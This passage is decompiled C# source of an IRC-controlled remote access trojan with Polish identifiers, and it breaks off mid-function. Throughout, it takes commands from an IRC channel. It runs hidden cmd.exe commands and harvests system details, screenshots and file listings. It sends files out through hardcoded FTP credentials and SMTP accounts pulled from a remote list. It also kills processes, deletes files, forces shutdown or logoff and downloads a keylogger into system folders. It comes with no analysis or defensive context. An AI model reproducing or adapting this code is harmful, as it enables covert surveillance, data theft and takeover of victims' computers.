      string userDomainName = Environment.UserDomainName;
      string str3 = Convert.ToString((object) Environment.Version);
      string str4 = Convert.ToString(Environment.ProcessorCount);
      string[] logicalDrives = Environment.GetLogicalDrives();
      string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.Personal);
      foreach (IPAddress address in Dns.GetHostEntry(Dns.GetHostName()).AddressList)
        str1 = str1 + address.ToString() + " ";
      string message1 = "System " + str2;
      string message2 = "Znajduje się w " + environmentVariable;
      string message3 = "Folder system32 jest w " + systemDirectory;
      string message4 = "Wersja systemu " + str3;
      string message5 = "Nazwa maszyny " + machineName;
      string message6 = "Domena " + userDomainName;
      string message7 = "Nazwa użytkownika " + userName;
      string message8 = "Liczba procesorów " + str4;
      string message9 = "Dyski: " + string.Join(", ", logicalDrives);
      string message10 = "Adres IP " + str1;
      string message11 = "Ścieżka do moich dokumentów " + folderPath;
      this.irc.SendMessage(SendType.Message, destination, message1);
      this.irc.SendMessage(SendType.Message, destination, message4);
      this.irc.SendMessage(SendType.Message, destination, message2);
      this.irc.SendMessage(SendType.Message, destination, message3);
      this.irc.SendMessage(SendType.Message, destination, message5);
      this.irc.SendMessage(SendType.Message, destination, message6);
      this.irc.SendMessage(SendType.Message, destination, message7);
      this.irc.SendMessage(SendType.Message, destination, message8);
      Thread.Sleep(10000);
      this.irc.SendMessage(SendType.Message, destination, message9);
      this.irc.SendMessage(SendType.Message, destination, message10);
      this.irc.SendMessage(SendType.Message, destination, message11);
    }

    private void Konsola()
    {
      string destination = "#jaknie5";
      string str1 = "wyslano dane z konsoli na ftp";
      string message = "nie wyslano danych z konsoli na ftp";
      string kom = this.kom;
      try
      {
        this.UtworzFolder();
        string str2 = kom.Split('"')[1];
        Process process = new Process();
        process.StartInfo.FileName = "cmd.exe";
        process.StartInfo.RedirectStandardInput = true;
        process.StartInfo.RedirectStandardOutput = true;
        process.StartInfo.CreateNoWindow = true;
        process.StartInfo.UseShellExecute = false;
        process.Start();
        process.StandardInput.WriteLine(str2);
        process.StandardInput.Flush();
        process.StandardInput.Close();
        string end = process.StandardOutput.ReadToEnd();
        string str3 = "k" + Environment.UserName + Convert.ToString(new Random().Next(1, 1000)) + ".txt";
        string str4 = this.folderbs + "\\" + str3;
        StreamWriter streamWriter = new StreamWriter(str4);
        streamWriter.WriteLine(end);
        streamWriter.Close();
        this.wyslaniepliku = true;
        this.Upload(str4);
        if (this.wyslaniepliku)
          this.irc.SendMessage(SendType.Message, destination, str1 + " o nazwie " + str3);
        else
          this.irc.SendMessage(SendType.Message, destination, message);
      }
      catch
      {
        this.irc.SendMessage(SendType.Message, destination, message);
      }
    }

    private void Procesy()
    {
      int num1 = 0;
      int num2 = 0;
      string[] strArray1 = new string[50];
      string destination = "#jaknie5";
      foreach (Process process in Process.GetProcesses())
      {
        ++num1;
        string[] strArray2;
        int index;
        string str = (strArray2 = strArray1)[(IntPtr) (index = num2)] + process.ProcessName + " " + (object) process.Id + " ";
        strArray2[index] = str;
        if (num1 > 9)
        {
          ++num2;
          num1 = 0;
        }
      }
      for (int index = 0; index < num2; ++index)
        this.irc.SendMessage(SendType.Message, destination, strArray1[index]);
    }

    private void ZabijProces()
    {
      string destination = "#jaknie5";
      string[] strArray = this.kom.Split(' ');
      string str1 = strArray[1];
      string str2 = strArray[2];
      string message1 = "zabito proces";
      string message2 = "nie zabito procesu";
      Process[] processes = Process.GetProcesses();
      try
      {
        foreach (Process process in processes)
        {
          if (process.ProcessName == str2)
            process.Kill();
        }
        this.irc.SendMessage(SendType.Message, destination, message1);
      }
      catch
      {
        this.irc.SendMessage(SendType.Message, destination, message2);
      }
    }

    private void ZabijIDProces()
    {
      string destination = "#jaknie5";
      string[] strArray = this.kom.Split(' ');
      string str = strArray[1];
      int int32 = Convert.ToInt32(strArray[2]);
      string message1 = "zabito proces";
      string message2 = "nie zabito procesu";
      Process[] processes = Process.GetProcesses();
      try
      {
        foreach (Process process in processes)
        {
          if (process.Id == int32)
            process.Kill();
        }
        this.irc.SendMessage(SendType.Message, destination, message1);
      }
      catch
      {
        this.irc.SendMessage(SendType.Message, destination, message2);
      }
    }

    private void Komunikaty()
    {
      int num1 = 0;
      int num2 = 0;
      MessageBoxButtons buttons = MessageBoxButtons.OK;
      MessageBoxIcon icon = MessageBoxIcon.None;
      string destination = "#jaknie5";
      string[] strArray1 = this.kom.Split(' ');
      string str1 = strArray1[2];
      string[] strArray2 = this.kom.Split('"');
      string text = strArray2[1];
      string caption = strArray2[3];
      string message1 = "wyświetlono komunikat";
      string message2 = "błędne dane";
      string message3 = "nie wyświetlono komunikatu";
      string str2 = "ponowignoruj";
      string str3 = "ok";
      string str4 = "okanuluj";
      string str5 = "ponowanuluj";
      string str6 = "taknie";
      string str7 = "taknieanuluj";
      string str8 = "gwiazda";
      string str9 = "blad";
      string str10 = "wykrzyknik";
      string str11 = "reka";
      string str12 = "info";
      string str13 = "brak";
      string str14 = "pytanie";
      string str15 = "stop";
      string str16 = "ostrzezenie";
      if (strArray1[2] == str2)
        num1 = 1;
      if (strArray1[2] == str3)
        num1 = 2;
      if (strArray1[2] == str4)
        num1 = 3;
      if (strArray1[2] == str5)
        num1 = 4;
      if (strArray1[2] == str6)
        num1 = 5;
      if (strArray1[2] == str7)
        num1 = 6;
      switch (num1)
      {
        case 1:
          buttons = MessageBoxButtons.AbortRetryIgnore;
          break;
        case 2:
          buttons = MessageBoxButtons.OK;
          break;
        case 3:
          buttons = MessageBoxButtons.OKCancel;
          break;
        case 4:
          buttons = MessageBoxButtons.RetryCancel;
          break;
        case 5:
          buttons = MessageBoxButtons.YesNo;
          break;
        case 6:
          buttons = MessageBoxButtons.YesNoCancel;
          break;
        default:
          this.irc.SendMessage(SendType.Message, destination, message2);
          break;
      }
      if (strArray1[3] == str8)
        num2 = 1;
      if (strArray1[3] == str9)
        num2 = 2;
      if (strArray1[3] == str10)
        num2 = 3;
      if (strArray1[3] == str11)
        num2 = 4;
      if (strArray1[3] == str12)
        num2 = 5;
      if (strArray1[3] == str13)
        num2 = 6;
      if (strArray1[3] == str14)
        num2 = 7;
      if (strArray1[3] == str15)
        num2 = 8;
      if (strArray1[3] == str16)
        num2 = 9;
      switch (num2)
      {
        case 1:
          icon = MessageBoxIcon.Asterisk;
          break;
        case 2:
          icon = MessageBoxIcon.Hand;
          break;
        case 3:
          icon = MessageBoxIcon.Exclamation;
          break;
        case 4:
          icon = MessageBoxIcon.Hand;
          break;
        case 5:
          icon = MessageBoxIcon.Asterisk;
          break;
        case 6:
          icon = MessageBoxIcon.None;
          break;
        case 7:
          icon = MessageBoxIcon.Question;
          break;
        case 8:
          icon = MessageBoxIcon.Hand;
          break;
        case 9:
          icon = MessageBoxIcon.Exclamation;
          break;
        default:
          this.irc.SendMessage(SendType.Message, destination, message2);
          break;
      }
      try
      {
        int num3 = (int) MessageBox.Show(text, caption, buttons, icon);
        this.irc.SendMessage(SendType.Message, destination, message1);
      }
      catch
      {
        this.irc.SendMessage(SendType.Message, destination, message3);
      }
    }

    private void PomocKomunikaty()
    {
      string destination = "#jaknie5";
      string message1 = "Dostępne opcje:";
      string message2 = "Przyciski";
      string message3 = "-ponowignoruj";
      string message4 = "-ok";
      string message5 = "-okanuluj";
      string message6 = "-ponowanuluj";
      string message7 = "-taknie";
      string message8 = "-taknieanuluj";
      string message9 = "Ikony:";
      string message10 = "-gwiazda";
      string message11 = "-blad";
      string message12 = "-wykrzyknik";
      string message13 = "-reka";
      string message14 = "-info";
      string message15 = "-brak";
      string message16 = "-pytanie";
      string message17 = "-stop";
      string message18 = "-ostrzezenie";
      this.irc.SendMessage(SendType.Message, destination, message1);
      this.irc.SendMessage(SendType.Message, destination, message2);
      this.irc.SendMessage(SendType.Message, destination, message3);
      this.irc.SendMessage(SendType.Message, destination, message4);
      this.irc.SendMessage(SendType.Message, destination, message5);
      this.irc.SendMessage(SendType.Message, destination, message6);
      this.irc.SendMessage(SendType.Message, destination, message7);
      this.irc.SendMessage(SendType.Message, destination, message8);
      this.irc.SendMessage(SendType.Message, destination, message9);
      Thread.Sleep(10000);
      this.irc.SendMessage(SendType.Message, destination, message10);
      this.irc.SendMessage(SendType.Message, destination, message11);
      this.irc.SendMessage(SendType.Message, destination, message12);
      this.irc.SendMessage(SendType.Message, destination, message13);
      this.irc.SendMessage(SendType.Message, destination, message14);
      this.irc.SendMessage(SendType.Message, destination, message15);
      this.irc.SendMessage(SendType.Message, destination, message16);
      this.irc.SendMessage(SendType.Message, destination, message17);
      this.irc.SendMessage(SendType.Message, destination, message18);
    }

    [DllImport("user32.dll")]
    public static extern int ExitWindowsEx(int uFlags, int dwReason);

    private void wylacz()
    {
      try
      {
        Form1.ExitWindowsEx(1, 0);
        this.irc.SendMessage(SendType.Message, "#jaknie5", "wyłączono");
      }
      catch
      {
        this.irc.SendMessage(SendType.Message, "#jaknie5", "nie wyłączono");
      }
    }

    private void wyloguj()
    {
      try
      {
        Form1.ExitWindowsEx(0, 0);
        this.irc.SendMessage(SendType.Message, "#jaknie5", "wylogowano");
      }
      catch
      {
        this.irc.SendMessage(SendType.Message, "#jaknie5", "nie wylogowano");
      }
    }

    private void wyloguj2()
    {
      try
      {
        Form1.ExitWindowsEx(4, 0);
        this.irc.SendMessage(SendType.Message, "#jaknie5", "wylogowano");
      }
      catch
      {
        this.irc.SendMessage(SendType.Message, "#jaknie5", "nie wylogowano");
      }
    }

    private void restart()
    {
      try
      {
        Form1.ExitWindowsEx(2, 0);
        this.irc.SendMessage(SendType.Message, "#jaknie5", nameof (restart));
      }
      catch
      {
        this.irc.SendMessage(SendType.Message, "#jaknie5", "restart nie powiódł się");
      }
    }

    private void hibernacja()
    {
      try
      {
        Application.SetSuspendState(PowerState.Hibernate, true, true);
        this.irc.SendMessage(SendType.Message, "#jaknie5", nameof (hibernacja));
      }
      catch
      {
        this.irc.SendMessage(SendType.Message, "#jaknie5", "hibernacja nie powiodła się");
      }
    }

    private void pobudka()
    {
      try
      {
        Application.SetSuspendState(PowerState.Suspend, true, true);
        this.irc.SendMessage(SendType.Message, "#jaknie5", nameof (pobudka));
      }
      catch
      {
        this.irc.SendMessage(SendType.Message, "#jaknie5", "pobudka nie powiodła się");
      }
    }

    private void PobierzStartup()
    {
      try
      {
        this.irc.SendMessage(SendType.Message, "#jaknie5", "Folder Starup znajduje sie w " + Environment.GetFolderPath(Environment.SpecialFolder.Startup));
      }
      catch
      {
        this.irc.SendMessage(SendType.Message, "#jaknie5", "nie powiodło się");
      }
    }

    private void PokazChat()
    {
      this.ch = new Chat();
      string[] strArray = this.kom.Split(' ');
      this.chk = strArray[2];
      string nickser = strArray[3];
      string nickofiary = strArray[4];
      this.ch.Show();
      this.irc.WriteLine("join " + this.chk);
      this.ch.Dane(nickser, nickofiary);
      this.irc.SendMessage(SendType.Message, "#jaknie5", "włączono czat");
    }

    private void WyslijWiadomosc()
    {
      try
      {
        this.ch.WyswietlWiadomosc(this.kom.Split('"')[1]);
        this.irc.SendMessage(SendType.Message, this.chk, "wysłano wiadomość");
      }
      catch
      {
        this.irc.SendMessage(SendType.Message, this.chk, "nie wysłano wiadomości");
      }
    }

    private void OdbierzWiadomosc()
    {
      if (this.ch.txt == null)
        return;
      this.irc.SendMessage(SendType.Message, this.chk, this.ch.txt);
      this.ch.txt = "";
    }

    private void SchowajChat()
    {
      try
      {
        this.ch.Hide();
        this.irc.SendMessage(SendType.Message, "#jaknie5", "schowano czat");
      }
      catch
      {
        this.irc.SendMessage(SendType.Message, "#jaknie5", "nie schowano czatu");
      }
    }

    private void ftpZrobSS()
    {
      try
      {
        this.UtworzFolder();
        DateTime now = DateTime.Now;
        int hour = now.Hour;
        int minute = now.Minute;
        int second = now.Second;
        string str = Environment.UserName + (Convert.ToString(hour) + Convert.ToString(minute) + Convert.ToString(second)) + ".jpeg";
        string filename = this.folderbs + "\\" + str;
        Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, PixelFormat.Format32bppArgb);
        Graphics.FromImage((Image) bitmap).CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, Screen.PrimaryScreen.Bounds.Size, CopyPixelOperation.SourceCopy);
        bitmap.Save(filename, ImageFormat.Jpeg);
        this.wyslaniepliku = true;
        this.Upload(filename);
        if (this.wyslaniepliku)
          this.irc.SendMessage(SendType.Message, "#jaknie5", "zrobiono zrzut ekranu o nazwie " + str);
        else
          this.irc.SendMessage(SendType.Message, "#jaknie5", "nie zrobiono zrzutu ekranu");
      }
      catch
      {
        this.irc.SendMessage(SendType.Message, "#jaknie5", "nie zrobiono zrzutu ekranu");
      }
    }

    private void Upload(string filename)
    {
      int num = 0;
      do
      {
        string str1 = "poprostuchlopie.yoyo.pl";
        string userName = "poprostuchlopie.yoyo.pl";
        string password = "tester12";
        FileInfo fileInfo = new FileInfo(filename);
        string str2 = "ftp://" + str1 + "/" + fileInfo.Name;
        FtpWebRequest ftpWebRequest = (FtpWebRequest) WebRequest.Create(new Uri("ftp://" + str1 + "/" + fileInfo.Name));
        ftpWebRequest.Credentials = (ICredentials) new NetworkCredential(userName, password);
        ftpWebRequest.KeepAlive = false;
        ftpWebRequest.Method = "STOR";
        ftpWebRequest.UseBinary = true;
        ftpWebRequest.ContentLength = fileInfo.Length;
        int count1 = 2048;
        byte[] buffer = new byte[count1];
        FileStream fileStream = fileInfo.OpenRead();
        try
        {
          Stream requestStream = ftpWebRequest.GetRequestStream();
          for (int count2 = fileStream.Read(buffer, 0, count1); count2 != 0; count2 = fileStream.Read(buffer, 0, count1))
            requestStream.Write(buffer, 0, count2);
          requestStream.Close();
          fileStream.Close();
          this.wyslaniepliku = true;
        }
        catch (Exception ex)
        {
          this.wyslaniepliku = false;
        }
        Thread.Sleep(2000);
        ++num;
      }
      while (!this.wyslaniepliku && num < 30);
    }

    private void SprawdzPliki()
    {
      string destination = "#jaknie5";
      string message1 = "nie wyświetlono plików";
      string kom = this.kom;
      try
      {
        string[] strArray = kom.Split('"');
        string message2 = string.Join(", ", Directory.GetFiles(!this.kom.Contains(this.mdgm) ? (!this.kom.Contains(this.adbs) ? strArray[1] : this.folderbs) : this.foldergames));
        this.irc.SendMessage(SendType.Message, destination, message2);
      }
      catch
      {
        this.irc.SendMessage(SendType.Message, destination, message1);
      }
    }

    private void ftpWyswietlPliki()
    {
      string destination = "#jaknie5";
      string str1 = "wyslano drzewo plików na ftp";
      string message = "nie wyslano drzewa plików na ftp";
      string kom = this.kom;
      try
      {
        this.UtworzFolder();
        string[] strArray = kom.Split('"');
        string str2 = string.Join(Environment.NewLine, Directory.GetFiles(!this.kom.Contains(this.mdgm) ? (!this.kom.Contains(this.adbs) ? strArray[1] : this.folderbs) : this.foldergames));
        string str3 = Environment.UserName + Convert.ToString(new Random().Next(1, 10000)) + ".txt";
        string str4 = this.folderbs + "\\" + str3;
        StreamWriter streamWriter = new StreamWriter(str4);
        streamWriter.WriteLine(str2);
        streamWriter.Close();
        this.wyslaniepliku = true;
        this.Upload(str4);
        if (this.wyslaniepliku)
          this.irc.SendMessage(SendType.Message, destination, str1 + " o nazwie " + str3);
        else
          this.irc.SendMessage(SendType.Message, destination, message);
      }
      catch
      {
        this.irc.SendMessage(SendType.Message, destination, message);
      }
    }

    private void ftpWyswietlKatalogi()
    {
      string destination = "#jaknie5";
      string str1 = "wyslano drzewo katalogów na ftp";
      string message = "nie wyslano drzewa katalogów na ftp";
      string kom = this.kom;
      try
      {
        this.UtworzFolder();
        string[] strArray = kom.Split('"');
        string str2 = string.Join(Environment.NewLine, Directory.GetDirectories(!this.kom.Contains(this.mdgm) ? (!this.kom.Contains(this.adbs) ? strArray[1] : this.folderbs) : this.foldergames));
        string str3 = Environment.UserName + Convert.ToString(new Random().Next(1, 10000)) + ".txt";
        string str4 = this.folderbs + "\\" + str3;
        StreamWriter streamWriter = new StreamWriter(str4);
        streamWriter.WriteLine(str2);
        streamWriter.Close();
        this.wyslaniepliku = true;
        this.Upload(str4);
        if (this.wyslaniepliku)
          this.irc.SendMessage(SendType.Message, destination, str1 + " o nazwie " + str3);
        else
          this.irc.SendMessage(SendType.Message, destination, message);
      }
      catch
      {
        this.irc.SendMessage(SendType.Message, destination, message);
      }
    }

    private void ftpWyswietlDrzewo()
    {
      string destination = "#jaknie5";
      string str1 = "wyslano drzewo plików i katalogów na ftp";
      string message = "nie wyslano drzewa plików i katalogów na ftp";
      string kom = this.kom;
      try
      {
        this.UtworzFolder();
        string[] strArray = kom.Split('"');
        string str2 = string.Join(Environment.NewLine, Directory.GetFiles(!this.kom.Contains(this.mdgm) ? (!this.kom.Contains(this.adbs) ? strArray[1] : this.folderbs) : this.foldergames, "*.*", SearchOption.AllDirectories));
        string str3 = Environment.UserName + Convert.ToString(new Random().Next(1, 10000)) + ".txt";
        string str4 = this.folderbs + "\\" + str3;
        StreamWriter streamWriter = new StreamWriter(str4);
        streamWriter.WriteLine(str2);
        streamWriter.Close();
        this.wyslaniepliku = true;
        this.Upload(str4);
        if (this.wyslaniepliku)
          this.irc.SendMessage(SendType.Message, destination, str1 + " o nazwie " + str3);
        else
          this.irc.SendMessage(SendType.Message, destination, message);
      }
      catch
      {
        this.irc.SendMessage(SendType.Message, destination, message);
      }
    }

    private void ftpWyslijPliki()
    {
      string destination = "#jaknie5";
      string message1 = "wyslano pliki";
      string message2 = "nie wysłano plików";
      string kom = this.kom;
      try
      {
        string[] strArray = kom.Split('"');
        string filename = !this.kom.Contains(this.mdgm) ? (!this.kom.Contains(this.adbs) ? strArray[1] : this.folderbs + strArray[1]) : this.foldergames + strArray[1];
        this.wyslaniepliku = true;
        this.Upload(filename);
        if (this.wyslaniepliku)
          this.irc.SendMessage(SendType.Message, destination, message1);
        else
          this.irc.SendMessage(SendType.Message, destination, message2);
      }
      catch
      {
        this.irc.SendMessage(SendType.Message, destination, message2);
      }
    }

    private void UtworzFolder()
    {
      try
      {
        try
        {
          string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\BlueSoft";
          if (!Directory.Exists(path))
            Directory.CreateDirectory(path);
          new DirectoryInfo(path).Attributes |= FileAttributes.Hidden;
        }
        catch
        {
          string path = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\gammess";
          if (!Directory.Exists(path))
            Directory.CreateDirectory(path);
          new DirectoryInfo(path).Attributes |= FileAttributes.Hidden;
        }
      }
      catch
      {
      }
    }

    private void UsunPlik()
    {
      string destination = "#jaknie5";
      string message1 = "usunięto plik";
      string message2 = "nie usunięto pliku";
      string kom = this.kom;
      try
      {
        string[] strArray = kom.Split('"');
        System.IO.File.Delete(!this.kom.Contains(this.mdgm) ? (!this.kom.Contains(this.adbs) ? strArray[1] : this.folderbs + strArray[1]) : this.foldergames + strArray[1]);
        this.irc.SendMessage(SendType.Message, destination, message1);
      }
      catch
      {
        this.irc.SendMessage(SendType.Message, destination, message2);
      }
    }

    private void UsunFolder()
    {
      string destination = "#jaknie5";
      string message1 = "usunięto folder";
      string message2 = "nie usunięto folderu";
      string kom = this.kom;
      try
      {
        Directory.Delete(kom.Split('"')[1]);
        this.irc.SendMessage(SendType.Message, destination, message1);
      }
      catch
      {
        this.irc.SendMessage(SendType.Message, destination, message2);
      }
    }

    public string GetProcessOwner(int processId)
    {
      foreach (ManagementObject managementObject in new ManagementObjectSearcher("Select * From Win32_Process Where ProcessID = " + (object) processId).Get())
      {
        string[] args = new string[2]
        {
          string.Empty,
          string.Empty
        };
        if (Convert.ToInt32(managementObject.InvokeMethod("GetOwner", (object[]) args)) == 0)
        {
          this.sprproc = true;
          return args[1] + "\\" + args[0];
        }
      }
      this.sprproc = false;
      return "brak danych";
    }

    private void SprawdzProces()
    {
      string destination = "#jaknie5";
      int int32 = Convert.ToInt32(this.kom.Split(' ')[3]);
      string str = "Użytkownik ";
      string message1 = "brak danych";
      Process.GetProcesses();
      try
      {
        string message2 = str + this.GetProcessOwner(int32);
        if (this.sprproc)
          this.irc.SendMessage(SendType.Message, destination, message2);
        else
          this.irc.SendMessage(SendType.Message, destination, message1);
      }
      catch
      {
        this.irc.SendMessage(SendType.Message, destination, message1);
      }
    }

    private void PobierzKeyloggera()
    {
      FileDownloader fileDownloader = new FileDownloader();
      string kom = this.kom;
      string str1 = "pobrano keyloggera do folderu ";
      string message = "nie pobrano keyloggera";
      string destination = "#jaknie5";
      try
      {
        string url = kom.Split(' ')[3];
        string[] strArray = new string[10]
        {
          Environment.SystemDirectory + "\\",
          Environment.GetEnvironmentVariable("windir") + "\\",
          "C:\\",
          "D:\\",
          Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\",
          null,
          null,
          null,
          null,
          null
        };
        bool flag;
        string str2;
        try
        {
          try
          {
            try
            {
              try
              {
                fileDownloader.Download(url, strArray[0]);
                flag = true;
                str2 = strArray[0];
              }
              catch
              {
                fileDownloader.Download(url, strArray[1]);
                flag = true;
                str2 = strArray[1];
              }
            }
            catch
            {
              fileDownloader.Download(url, strArray[2]);
              flag = true;
              str2 = strArray[2];
            }
          }
          catch
          {
            fileDownloader.Download(url, strArray[3]);
            flag = true;
            str2 = strArray[3];
          }
        }
        catch
        {
          fileDownloader.Download(url, strArray[4]);
          flag = true;
          str2 = strArray[4];
        }
        if (flag)
          this.irc.SendMessage(SendType.Message, destination, str1 + str2);
        else
          this.irc.SendMessage(SendType.Message, destination, message);
      }
      catch
      {
        this.irc.SendMessage(SendType.Message, destination, message);
      }
    }

    private void mailUpload(string temat, string tekst, string zalacznik)
    {
      int num = 0;
      try
      {
        do
        {
          string[] strArray = new WebClient().DownloadString("http://krzycho.yoyo.pl/maile.txt").Split(new string[1]
          {
            "\r\n"
          }, StringSplitOptions.None);
          int maxValue = 0;
          foreach (string str in strArray)
            ++maxValue;
          int index = new Random().Next(1, maxValue);
          MailMessage mailMessage = new MailMessage();
          SmtpClient smtpClient = new SmtpClient("smtp.mail.ru", 2525);
          smtpClient.UseDefaultCredentials = false;
          smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(strArray[index], "tester12");
          smtpClient.EnableSsl = false;
          smtpClient.Timeout = 6000000;
          MailMessage message = new MailMessage();
          string addresses = strArray[0];
          message.From = new MailAddress(strArray[index], this.irc.Nickname, Encoding.UTF8);
          message.To.Add(addresses);
          message.Subject = temat + " - " + this.irc.Nickname;
          message.Body = tekst;
          if (zalacznik.Length > 1)
            message.Attachments.Add(new Attachment(zalacznik));
          message.DeliveryNotificationOptions = DeliveryNotificationOptions.OnFailure;
          smtpClient.Send(message);
          this.wyslaniepliku = true;
          Thread.Sleep(2000);
          ++num;
        }
        while (!this.wyslaniepliku && num < 20);
      }
      catch
      {
      }
    }

    private void mailWyslijFolder()
    {
      int num1 = 0;
      do
      {
        string destination = "#jaknie5";
        string message1 = "wysłano pliki na maila";
        string str1 = "nie wysłano plików na maila";
        string kom = this.kom;
        try
        {
          string[] strArray1 = new WebClient().DownloadString("http://krzycho.yoyo.pl/maile.txt").Split(new string[1]
          {
            "\r\n"
          }, StringSplitOptions.None);
          int maxValue = 0;
          foreach (string str2 in strArray1)
            ++maxValue;
          int index1 = new Random().Next(1, maxValue);
          string[] strArray2 = kom.Split('"');
          string path = !this.kom.Contains(this.mdgm) ? (!this.kom.Contains(this.adbs) ? strArray2[1] : this.folderbs) : this.foldergames;
          string[] files = Directory.GetFiles(path);
          MailMessage mailMessage = new MailMessage();
          SmtpClient smtpClient = new SmtpClient("smtp.mail.ru", 2525);
          smtpClient.UseDefaultCredentials = false;
          smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(strArray1[index1], "tester12");
          smtpClient.EnableSsl = false;
          smtpClient.Timeout = 6000000;
          MailMessage message2 = new MailMessage();
          string addresses = strArray1[0];
          message2.From = new MailAddress(strArray1[index1], this.irc.Nickname, Encoding.UTF8);
          message2.To.Add(addresses);
          message2.Subject = path + " - " + this.irc.Nickname;
          int num2 = 0;
          if (files[0] != null)
          {
            foreach (string str3 in files)
              ++num2;
            for (int index2 = 0; index2 < num2; ++index2)
              message2.Attachments.Add(new Attachment(files[index2]));
          }
          message2.DeliveryNotificationOptions = DeliveryNotificationOptions.OnFailure;
          smtpClient.Send(message2);
          this.irc.SendMessage(SendType.Message, destination, message1);
        }
        catch (Exception ex)
        {
          this.irc.SendMessage(SendType.Message, destination, str1 + "(" + ex.Message + ")");
        }
        Thread.Sleep(2000);
        ++num1;
      }
      while (!this.wyslaniepliku && num1 < 20);
    }

    private void mailWyslijPlik()
    {
      string destination = "#jaknie5";
      string message1 = "wyslano pliki";
      string message2 = "nie wysłano plików";
      string kom = this.kom;
      try
      {
        string[] strArray = kom.Split('"');
        string zalacznik = !this.kom.Contains(this.mdgm) ? (!this.kom.Contains(this.adbs) ? strArray[1] : this.folderbs + strArray[1]) : this.foldergames + strArray[1];
        this.wyslaniepliku = true;
        this.mailUpload("plik " + zalacznik, "", zalacznik);
        if (this.wyslaniepliku)
          this.irc.SendMessage(SendType.Message, destination, message1);
        else
          this.irc.SendMessage(SendType.Message, destination, message2);
      }
      catch
      {
        this.irc.SendMessage(SendType.Message, destination, message2);
      }
    }

    private void SprawdzFoldery()
    {
      string destination = "#jaknie5";
      string message1 = "nie wyświetlono plików";
      string kom = this.kom;
      try
      {
        string message2 = string.Join(", ", Directory.GetDirectories(kom.Split('"')[1]));
        this.irc.SendMessage(SendType.Message, destination, message2);
      }
      catch
      {
        this.irc.SendMessage(SendType.Message, destination, message1);
      }
    }

    private void mailWyswietlPliki()
    {
      string destination = "#jaknie5";
      string str = "wyslano drzewo plików na mail";
      string message = "nie wyslano drzewa plików na mail";
      string kom = this.kom;
      try
      {
        string[] strArray = kom.Split('"');
        string tekst = string.Join(Environment.NewLine, Directory.GetFiles(!this.kom.Contains(this.mdgm) ? (!this.kom.Contains(this.adbs) ? strArray[1] : this.folderbs) : this.foldergames));
        this.wyslaniepliku = true;
        this.mailUpload("drzewo plików", tekst, "");
        if (this.wyslaniepliku)
          this.irc.SendMessage(SendType.Message, destination, str + " o nazwie " + this.irc.Nickname);
        else
          this.irc.SendMessage(SendType.Message, destination, message);
      }
      catch
      {
        this.irc.SendMessage(SendType.Message, destination, message);
      }
    }

    private void mailWyswietlKatalogi()
    {
      string destination = "#jaknie5";
      string str = "wyslano drzewo katalogów na mail";
      string message = "nie wyslano drzewa katalogów na mail";
      string kom = this.kom;
      try
      {
        string tekst = string.Join(Environment.NewLine, Directory.GetDirectories(kom.Split('"')[1]));
        this.wyslaniepliku = true;
        this.mailUpload("drzewo katalogów", tekst, "");
        if (this.wyslaniepliku)
          this.irc.SendMessage(SendType.Message, destination, str + " o nazwie " + this.irc.Nickname);
        else
          this.irc.SendMessage(SendType.Message, destination, message);
      }
      catch
      {
        this.irc.SendMessage(SendType.Message, destination, message);
      }
    }

    private void mailWyswietlDrzewo()
    {
      string destination = "#jaknie5";
      string str = "wyslano drzewo plików i katalogów na mail";
      string message = "nie wyslano drzewa plików i katalogów na mail";
      string kom = this.kom;
      try
      {
        string[] strArray = kom.Split('"');
        string tekst = string.Join(Environment.NewLine, Directory.GetFiles(!this.kom.Contains(this.mdgm) ? (!this.kom.Contains(this.adbs) ? strArray[1] : this.folderbs) : this.foldergames, "*.*", SearchOption.AllDirectories));
        this.wyslaniepliku = true;
        this.mailUpload("drzewo", tekst, "");
        if (this.wyslaniepliku)
          this.irc.SendMessage(SendType.Message, destination, str + " o nazwie " + this.irc.Nickname);
        else
          this.irc.SendMessage(SendType.Message, destination, message);
      }
      catch
      {
        this.irc.SendMessage(SendType.Message, destination, message);
      }
    }

    private void mailZrobSS()
    {
      try
      {
        this.UtworzFolder();
        DateTime now = DateTime.Now;
        int hour = now.Hour;
        int minute = now.Minute;
        int second = now.Second;
        string str1 = Environment.UserName + (Convert.ToString(hour) + Convert.ToString(minute) + Convert.ToString(second)) + ".jpeg";
        string str2 = this.folderbs + "\\" + str1;
        Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, PixelFormat.Format32bppArgb);
        Graphics.FromImage((Image) bitmap).CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, Screen.PrimaryScreen.Bounds.Size, CopyPixelOperation.SourceCopy);
        bitmap.Save(str2, ImageFormat.Jpeg);
        this.wyslaniepliku = true;
        this.mailUpload("zrzut ekranu", "", str2);
        if (this.wyslaniepliku)
          this.irc.SendMessage(SendType.Message, "#jaknie5", "zrobiono zrzut ekranu o nazwie " + str1);
        else
          this.irc.SendMessage(SendType.Message, "#jaknie5", "nie zrobiono zrzutu ekranu");
      }
      catch
      {
        this.irc.SendMessage(SendType.Message, "#jaknie5", "nie zrobiono zrzutu ekranu");
      }
    }

    private void Logi()
    {
      try
      {
        this.mailUpload("logi", this.wiad, "");
        this.wiad = "";
        this.irc.SendMessage(SendType.Message, "#jaknie5", "logi zostały wysłane na maila");
      }
      catch
      {
        this.irc.SendMessage(SendType.Message, "#jaknie5", "logni nie zostały wysłane na maila");
      }
    }

    private bool SprawdzCzyOP()
    {
      this._channel = this.irc.GetChannel("#jaknie5");
      foreach (DictionaryEntry user in this._channel.Users)
      {
        ChannelUser channelUser = (ChannelUser) user.Value;
        if (this.irc.IsMe(channelUser.Nick))
          return channelUser.IsOp;
      }
      return false;
    }

    private int LiczOpow()
    {
      int num = 0;
      this.lu = 0;
      try
      {
        this._channel = this.irc.GetChannel("#jaknie5");
        foreach (DictionaryEntry user in this._channel.Users)
        {
          ChannelUser channelUser = (ChannelUser) user.Value;
          if (channelUser.IsOp)
            ++num;
          ++this.lu;
          this.lcu[this.lu] = channelUser.Nick;
        }
      }
